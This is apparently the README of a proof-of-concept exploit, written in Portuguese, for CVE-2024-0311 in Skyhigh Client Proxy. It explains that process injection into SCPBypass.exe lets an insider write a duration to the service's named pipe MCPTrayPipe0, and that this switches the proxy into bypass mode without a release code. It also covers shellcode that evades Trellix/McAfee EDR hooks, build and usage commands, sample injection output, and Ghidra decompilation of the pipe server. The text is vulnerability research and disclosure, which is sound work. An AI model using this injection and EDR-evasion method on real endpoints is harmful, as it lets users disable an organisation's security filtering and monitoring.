
Prova de conceito de exploit para CVE-2024-0311 contornando a política do Skyhigh Client Proxy via injeção de processo e manipulação de pipe nomeado, com shellcode personalizado para evadir restrições de AV/EDR.
Este é um PoC para o que acredito ser CVE-2024-0311, SB10418.
Um insider malicioso pode contornar a política existente do Skyhigh Client Proxy sem um código de liberação válido.
Muitos detalhes. Muito exploit. ¯\(ツ)/¯
O PoC injeta em um processo executado pelo usuário SCPBypass.exe e escreve no pipe do SCPService.exe: \\.\pipe\MCPTrayPipe0.
A injeção é necessária pois, mesmo que o pipe seja RW Everyone, algumas verificações são feitas no executável que escreve no pipe por WGUARDNT (o caminho do escritor é verificado), veja abaixo.
Um shellcode de exemplo é fornecido que permite a execução do WriteFile no pipe mesmo se Trellix/McAfee estiverem em execução e fazendo hook/block em LoadLibrary.
Compile em Debug ou Release pelo Visual Studio
Gere o shellcode via:
cd shellcode && nasm loadlibrary.asm && xxd -i loadlibrary
depois substitua o shellcode em shellcode.c.
Injct.exe PID_OF_SCPBYPASS_EXE [stateoff] [debugon]
* stateoff: Don't call SetNamedPipeHandleState. The shellcode validate the pointer to SetNamedPipeHandleState before calling it..
* debugon: set a breakpoint into the shellcode (0xcc at offset 0) and spawn a thread to bind the named pipe. Don't use in production.
Exemplo de saída:
PS C:\Users\test\Desktop> .\Injct.exe 10640
> Target PID: 10640
> Allocating 4Kb in remote process: 0000020B61060000
> Writing shellcode to PID: 10640
> Injected shellcode at: 0000020B61060000
> Creating remote thread at 0000020B61060000
> Thread 12784 created.. waiting...
> Thread 12784 return value 0000000000000000
PS C:\Users\test\Desktop>
Se tudo ocorrer bem, nos arquivos de log do SCP você deve encontrar uma entrada semelhante a esta:
10/30/24 : 10:18:55:185 - [INFO] CBypassPipeServer::run - SCP will be going into bypass mode for 1440 minutes
Esta será uma breve explicação, porque ninguém tem tempo para palavras.
Primeiramente, o que é o Skyhigh Proxy Client?
O software Skyhigh Security Client Proxy ajuda a proteger os usuários de endpoint contra ameaças de segurança que surgem quando eles acessam a web de dentro ou fora da sua rede. O software cliente, que é instalado em endpoints executando Microsoft Windows ou macOS, redireciona requisições web ou permite que elas continuem para um proxy para filtragem. O software servidor roda em uma das plataformas de gerenciamento: Trellix ePO SaaS ou Trellix ePO Cloud.
Isso deve esclarecer.
Dadas as informações do aviso, não há muito por onde ir.
Para ser honesto, eu estava analisando o serviço binário para encontrar problemas fáceis de explorar para LPE quando vi o CreateNamedPipe e fiquei interessado.
Aqui está uma cópia rápida do código descompilado do Ghidra:
void CreateNamedPipe_FUN_14022d150(undefined8 param_1)
{
BOOL BVar1;
int atoi_out_lpBuffer;
HANDLE hNamedPipe;
undefined8 uVar2;
undefined auStackY_4c8 [32];
uint nBytesRead;
undefined4 local_474;
undefined4 local_470;
ulonglong nBytesRead_0;
_SECURITY_ATTRIBUTES local_460;
undefined pSecurityDescriptor [48];
char out_lpBuffer [1024];
ulonglong local_18;
local_18 = DAT_14069a448 ^ (ulonglong)auStackY_4c8;
InitializeSecurityDescriptor(pSecurityDescriptor,1);
/* BOOL SetSecurityDescriptorDacl(
[in, out] PSECURITY_DESCRIPTOR pSecurityDescriptor,
[in] BOOL bDaclPresent,
[in, optional] PACL pDacl,
[in] BOOL bDaclDefaulted
); */
SetSecurityDescriptorDacl(pSecurityDescriptor,1,(PACL)0x0,0);
local_460.bInheritHandle = 0;
local_460.lpSecurityDescriptor = pSecurityDescriptor;
local_460.nLength = 0x18;
/* HANDLE CreateNamedPipeW(
[in] LPCWSTR lpName,
[in] DWORD dwOpenMode,
[in] DWORD dwPipeMode,
[in] DWORD nMaxInstances,
[in] DWORD nOutBufferSize,
[in] DWORD nInBufferSize,
[in] DWORD nDefaultTimeOut,
[in, optional] LPSECURITY_ATTRIBUTES lpSecurityAttributes
);
CreateNamedPipeW("\\\\.\\pipe\\MCPTrayPipe0",PIPE_ACCESS_DUPLEX,
PIPE_TYPE_BYTE, 1, 0x4000, 0x4000, 0, lpSecurityAttribytes)
*/
hNamedPipe = CreateNamedPipeW(L"\\\\.\\pipe\\MCPTrayPipe0",3,0,1,0x4000,0x4000,0,&local_460);
while (hNamedPipe != (HANDLE)0xffffffffffffffff) {
BVar1 = ConnectNamedPipe(hNamedPipe,(LPOVERLAPPED)0x0);
if (BVar1 != 0) {
while (BVar1 = ReadFile(hNamedPipe,out_lpBuffer,1023,&nBytesRead,(LPOVERLAPPED)0x0),
BVar1 != 0) {
nBytesRead_0 = (ulonglong)nBytesRead;
if (1023 < nBytesRead_0) {
fail_or_fastfail_FUN_1404794f0();
}
out_lpBuffer[nBytesRead_0] = '\0';
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 5)) {
local_474 = 0;
}
else {
TraceMessage_FUN_140027e70
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xe,&DAT_1405da058,out_lpBuffer);
local_474 = 1;
}
FUN_14022d510(param_1,1);
atoi_out_lpBuffer = atoi(out_lpBuffer);
uVar2 = FUN_140040210();
LOGFUN_1400402a0(uVar2,L"CBypassPipeServer::run",5,L"INFO");
if ((((undefined **)PTR_LOOP_14069a4e0 == &PTR_LOOP_14069a4e0) ||
((*(uint *)(PTR_LOOP_14069a4e0 + 0x1c) & 8) == 0)) ||
((byte)PTR_LOOP_14069a4e0[0x19] < 3)) {
local_470 = 0;
}
else {
TraceMessage_FUN_140027e10
(*(undefined8 *)(PTR_LOOP_14069a4e0 + 0x10),0xf,&DAT_1405da058,atoi_out_lpBuffer
);
local_470 = 1;
}
FUN_140040530(2,L"CBypassPipeServer::run-SCP will be going into bypass mode for %d minutes",
atoi_out_lpBuffer);
FUN_14022d5b0(param_1,atoi_out_lpBuffer);
}
}
DisconnectNamedPipe(hNamedPipe);
}
FUN_140478b10(local_18 ^ (ulonglong)auStackY_4c8);
return;
}
Como podemos ver, uma vez que a função é chamada, uma nova struct DACL é inicializada e um novo pipe \\.\pipe\MCPTrayPipe0 é criado em byte mode.
Então, enquanto o handle para tal pipe for válido, o programa lê dele e tenta converter os bytes enviados de ASCII para int com atoi(out_lpBuffer).
Ignorando o fato de que existem alternativas melhores ao atoi, assumindo que a chamada para atoi não falhou, o valor convertido é passado para FUN_14022d5b0:
undefined8 FUN_14022d5b0(longlong param1,int atoi_out_lpBuffer)
{
BOOL BVar1;
DWORD DVar2;
undefined8 uVar3;
LARGE_INTEGER local_10 [2];